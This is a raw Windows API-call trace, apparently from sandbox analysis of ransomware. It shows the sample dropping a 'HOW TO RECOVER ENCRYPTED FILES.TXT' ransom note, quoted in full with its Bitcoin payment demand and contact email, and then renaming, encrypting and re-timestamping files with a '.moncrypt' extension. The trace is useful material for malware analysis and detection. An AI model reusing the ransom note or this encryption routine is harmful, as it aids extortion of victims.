GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.193] GlobalUnlock (hMem=0x44000c) returned 0 [0055.193] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a768, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0055.194] GetLastError () returned 0x2 [0055.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.196] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0055.197] CloseHandle (hObject=0x18c) returned 1 [0055.197] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0055.197] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.197] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.197] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.197] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.197] GlobalUnlock (hMem=0x44000c) returned 0 [0055.197] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.197] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.197] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.197] GlobalUnlock (hMem=0x44000c) returned 0 [0055.197] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.197] GlobalUnlock (hMem=0x440004) returned 0 [0055.197] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.198] CharLowerBuffW (in: lpsz="WT61FR.LEX", cchLength=0xa | out: lpsz="wt61fr.lex") returned 0xa [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpUsedDefaultChar=0x0) returned 71 [0055.198] CharLowerBuffW (in: lpsz=".LEX", cchLength=0x4 | out: lpsz=".lex") returned 0x4 [0055.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".lex", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".lexShared\\TRANSLAT\\FREN\\WT61FR.LEX", lpUsedDefaultChar=0x0) returned 4 [0055.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0x54e240 [0055.199] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.199] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.199] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", dwFileAttributes=0x20) returned 1 [0055.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.moncrypt")) returned 1 [0055.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.201] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.201] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x96a00 [0055.201] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.201] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.203] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.203] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.203] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.203] GlobalUnlock (hMem=0x44000c) returned 0 [0055.203] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0055.203] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.203] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.203] GlobalUnlock (hMem=0x44000c) returned 0 [0055.203] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.203] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.203] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.203] GlobalUnlock (hMem=0x440004) returned 0 [0055.203] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.203] GlobalUnlock (hMem=0x44000c) returned 0 [0055.203] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.203] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.203] GlobalUnlock (hMem=0x44000c) returned 0 [0055.203] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.203] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.204] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.204] GlobalUnlock (hMem=0x44000c) returned 0 [0055.204] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.204] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.204] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.205] SetFilePointer (in: hFile=0x18c, lDistanceToMove=616960, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x96a00 [0055.205] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.207] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.207] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.219] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.219] CloseHandle (hObject=0x18c) returned 1 [0055.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.228] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.228] CloseHandle (hObject=0x18c) returned 1 [0055.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.229] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.229] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.229] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.229] GlobalUnlock (hMem=0x44000c) returned 0 [0055.229] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.229] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.229] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.229] GlobalUnlock (hMem=0x44000c) returned 0 [0055.229] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.229] GlobalUnlock (hMem=0x440004) returned 0 [0055.229] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421557e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x421557e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4217b940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.229] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.229] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.229] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.230] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.230] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.230] CloseHandle (hObject=0x18c) returned 1 [0055.230] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0055.230] GetLastError () returned 0x12 [0055.230] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.230] GlobalLock (hMem=0x440004) returned 0x550170 [0055.230] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.230] GlobalUnlock (hMem=0x440004) returned 0 [0055.231] GlobalLock (hMem=0x440004) returned 0x550170 [0055.231] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.231] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.231] GlobalUnlock (hMem=0x440004) returned 0 [0055.231] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.231] GlobalUnlock (hMem=0x44000c) returned 0 [0055.231] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d58, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0055.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4217b940, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4217b940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.231] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.231] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.231] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.231] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.231] GlobalUnlock (hMem=0x44000c) returned 0 [0055.231] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.231] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.231] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.231] GlobalUnlock (hMem=0x44000c) returned 0 [0055.231] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.231] GlobalUnlock (hMem=0x440004) returned 0 [0055.231] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.231] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4217b940, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4217b940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.231] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.231] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.232] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.232] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.232] GlobalUnlock (hMem=0x440004) returned 0 [0055.232] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.232] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.232] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.232] GlobalUnlock (hMem=0x440004) returned 0 [0055.232] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.232] GlobalUnlock (hMem=0x44000c) returned 0 [0055.232] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.232] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421557e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x421557e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4217b940, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0055.232] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.232] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.232] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.232] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.232] GlobalUnlock (hMem=0x44000c) returned 0 [0055.232] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.232] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.232] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.232] GlobalUnlock (hMem=0x44000c) returned 0 [0055.232] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.232] GlobalUnlock (hMem=0x440004) returned 0 [0055.232] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.232] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0055.232] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.232] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, 